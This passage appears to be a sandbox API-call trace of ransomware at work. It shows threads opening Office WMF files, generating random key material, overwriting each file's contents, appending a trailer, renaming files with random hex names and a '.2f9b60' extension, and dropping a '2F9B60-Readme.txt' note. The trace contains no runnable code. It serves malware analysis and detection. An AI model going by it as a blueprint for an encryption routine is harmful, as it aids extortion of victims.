Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0211.011] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x308efc20 | out: lpFileSize=0x308efc20*=3182) returned 1 [0211.011] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0xc6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.011] ReadFile (in: hFile=0x149c, lpBuffer=0x308efba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x308efbe8, lpOverlapped=0x0 | out: lpBuffer=0x308efba0*, lpNumberOfBytesRead=0x308efbe8*=0x4, lpOverlapped=0x0) returned 1 [0211.112] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa30 [0211.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a940 [0211.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e810 [0211.112] NtQuerySystemTime (in: CurrentTime=0x308efae0 | out: CurrentTime=0x308efae0*=132462178159738000) returned 0x0 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x4e7bcf65 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x31147d16 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x261cd696 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x107a966a [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x5ea7fe66 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x72ca3e4f [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x76e339bd [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x7bcb6f91 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x24cc9498 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x6321f589 [0211.112] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x8164683 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x70dcbebd [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x5f36d3e [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x26944581 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x5052583d [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x4385aefc [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x54b28096 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x10bcf611 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x52b6b28f [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x63f7ab17 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x75317b96 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x33298f6b [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x5b81aadf [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x76c6681f [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x2ff6bae8 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x599c9979 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0xfe313a4 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x47f6e11a [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x3270f019 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x22e1d9b9 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x6b47e273 [0211.113] RtlRandomEx (in: Seed=0x308efad0 | out: Seed=0x308efad0) returned 0x32fd3535 [0211.123] ReadFile (in: hFile=0x149c, lpBuffer=0x429b8ed0, nNumberOfBytesToRead=0xc6e, lpNumberOfBytesRead=0x308efad0, lpOverlapped=0x0 | out: lpBuffer=0x429b8ed0*, lpNumberOfBytesRead=0x308efad0*=0xc6e, lpOverlapped=0x0) returned 1 [0211.123] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.123] WriteFile (in: hFile=0x149c, lpBuffer=0x429a9e90*, nNumberOfBytesToWrite=0xc6e, lpNumberOfBytesWritten=0x308efad4, lpOverlapped=0x0 | out: lpBuffer=0x429a9e90*, lpNumberOfBytesWritten=0x308efad4*=0xc6e, lpOverlapped=0x0) returned 1 [0215.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134db0 [0215.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e40 [0215.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e40) returned 1 [0215.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a9e90) returned 1 [0215.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429b8ed0) returned 1 [0215.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0215.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058600) returned 1 [0215.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x43134e40 [0215.454] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.454] WriteFile (in: hFile=0x149c, lpBuffer=0x423ab190*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x308efbf0, lpOverlapped=0x0 | out: lpBuffer=0x423ab190*, lpNumberOfBytesWritten=0x308efbf0*=0x10a, lpOverlapped=0x0) returned 1 [0217.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e00 [0217.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e00) returned 1 [0217.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d020 [0217.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e00 [0217.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0217.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0217.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0217.844] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="87") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="cd") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="9d") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="8d") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="bf") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="8c") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="e6") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="84") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="86") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="03") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="7d") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="01") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="c4") returned 2 [0217.844] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="48") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="7a") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="66") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="99") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="49") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="52") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="4a") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="53") returned 2 [0217.845] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.845] RtlInitAnsiString (in: DestinationString=0x308efc68, SourceString="87cd9d8dbf8ce68486037d01c4fb48a27a669949524a53d4" | out: DestinationString="87cd9d8dbf8ce68486037d01c4fb48a27a669949524a53d4") [0217.845] RtlAnsiStringToUnicodeString (in: DestinationString=0x308efc38, SourceString="87cd9d8dbf8ce68486037d01c4fb48a27a669949524a53d4", AllocateDestinationString=1 | out: DestinationString="87cd9d8dbf8ce68486037d01c4fb48a27a669949524a53d4") returned 0x0 [0217.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106390 [0217.846] wcscat (in: _Dest=0x4314e720, _Source="87cd9d8dbf8c" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\87cd9d8dbf8c") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\87cd9d8dbf8c" [0217.846] wcscat (in: _Dest=0x4314e720, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\87cd9d8dbf8c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\87cd9d8dbf8c.2f9b60" [0217.846] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\87cd9d8dbf8c.2f9b60", NtPathName=0x308efc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\87cd9d8dbf8c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118610 [0223.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0223.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bc640) returned 1 [0223.938] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x308efc78, FileInformation=0x308efc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x308efc78, FileInformation=0x308efc88) returned 0x0 [0223.938] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x308efc78, FileInformation=0x308efc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314e720) returned 1 [0225.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43106390) returned 1 [0225.295] FlushFileBuffers (hFile=0x149c) returned 1 [0225.557] CloseHandle (hObject=0x149c) returned 1 [0226.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad290 [0226.028] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0226.028] wcscat (in: _Dest=0x202ad290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0226.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0226.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 [0226.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9f80) returned 1 Thread: id = 3570 os_tid = 0x1ac4 [0210.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf")) returned 0x20 [0210.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF", dwFileAttributes=0x20) returned 1 [0210.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0211.028] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x3097fda0 | out: lpFileSize=0x3097fda0*=3148) returned 1 [0211.029] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0xc48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.029] ReadFile (in: hFile=0x15e0, lpBuffer=0x3097fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3097fd68, lpOverlapped=0x0 | out: lpBuffer=0x3097fd20*, lpNumberOfBytesRead=0x3097fd68*=0x4, lpOverlapped=0x0) returned 1 [0211.697] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4c0 [0211.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e410 [0211.698] NtQuerySystemTime (in: CurrentTime=0x3097fc60 | out: CurrentTime=0x3097fc60*=132462178165666000) returned 0x0 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x4bb85f95 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x6df7768b [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x669674b6 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x7e6fc045 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x5d331b5c [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x16344b7b [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x766ae7e6 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x4cd1d40c [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x70cb2f37 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x479621a3 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x60f12a49 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x5717b32 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x420fa02e [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0xc06945a [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x9325256 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x30041824 [0211.698] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x4b9f9905 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x308644d3 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x3b92bae2 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x32c67f1c [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x3321f60c [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x5f77eeb8 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x5eed8a9 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x496bcae9 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x4fa335de [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x5abe7dc5 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x63882c19 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x4c3a0b8 [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x2d09473f [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x41905a3d [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x7de785bd [0211.699] RtlRandomEx (in: Seed=0x3097fc50 | out: Seed=0x3097fc50) returned 0x4a18b723 [0211.710] ReadFile (in: hFile=0x15e0, lpBuffer=0x421ca920, nNumberOfBytesToRead=0xc4c, lpNumberOfBytesRead=0x3097fc50, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x3097fc50*=0xc4c, lpOverlapped=0x0) returned 1 [0211.710] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.710] WriteFile (in: hFile=0x15e0, lpBuffer=0x421e1180*, nNumberOfBytesToWrite=0xc4c, lpNumberOfBytesWritten=0x3097fc54, lpOverlapped=0x0 | out: lpBuffer=0x421e1180*, lpNumberOfBytesWritten=0x3097fc54*=0xc4c, lpOverlapped=0x0) returned 1 [0215.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1040 [0215.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1010 [0215.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1010) returned 1 [0215.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e1180) returned 1 [0215.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ca920) returned 1 [0215.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb4e0) returned 1 [0215.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058880) returned 1 [0215.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac1010 [0215.541] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.541] WriteFile (in: hFile=0x15e0, lpBuffer=0x431f2340*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3097fd70, lpOverlapped=0x0 | out: lpBuffer=0x431f2340*, lpNumberOfBytesWritten=0x3097fd70*=0x10a, lpOverlapped=0x0) returned 1 [0217.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e440 [0217.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e440) returned 1 [0217.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e440 [0217.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9e0 [0217.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e9e0) returned 1 [0217.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.974] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="3e") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="e2") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="08") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="e4") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="cc") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="8a") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="53") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="92") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="9c") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="d7") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="70") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="85") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="27") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="19") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="ae") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="32") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="51") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="96") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="95") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="9b") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="3f") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="41") returned 2 [0217.974] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="88") returned 2 [0217.974] RtlInitAnsiString (in: DestinationString=0x3097fde8, SourceString="a73ee208e4cc8a53929cd770852719ae325196959b3f4188" | out: DestinationString="a73ee208e4cc8a53929cd770852719ae325196959b3f4188") [0217.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x3097fdb8, SourceString="a73ee208e4cc8a53929cd770852719ae325196959b3f4188", AllocateDestinationString=1 | out: DestinationString="a73ee208e4cc8a53929cd770852719ae325196959b3f4188") returned 0x0 [0217.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f670 [0217.975] wcscat (in: _Dest=0x1cec0ef0, _Source="a73ee208e4cc" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a73ee208e4cc") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a73ee208e4cc" [0217.975] wcscat (in: _Dest=0x1cec0ef0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a73ee208e4cc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a73ee208e4cc.2f9b60" [0217.975] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a73ee208e4cc.2f9b60", NtPathName=0x3097fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a73ee208e4cc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fef40 Thread: id = 3571 os_tid = 0xe94 [0210.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf")) returned 0x20 [0210.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF", dwFileAttributes=0x20) returned 1 [0210.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1704 [0211.031] GetFileSizeEx (in: hFile=0x1704, lpFileSize=0x31dbfd40 | out: lpFileSize=0x31dbfd40*=1848) returned 1 [0211.031] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.031] ReadFile (in: hFile=0x1704, lpBuffer=0x31dbfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31dbfd08, lpOverlapped=0x0 | out: lpBuffer=0x31dbfcc0*, 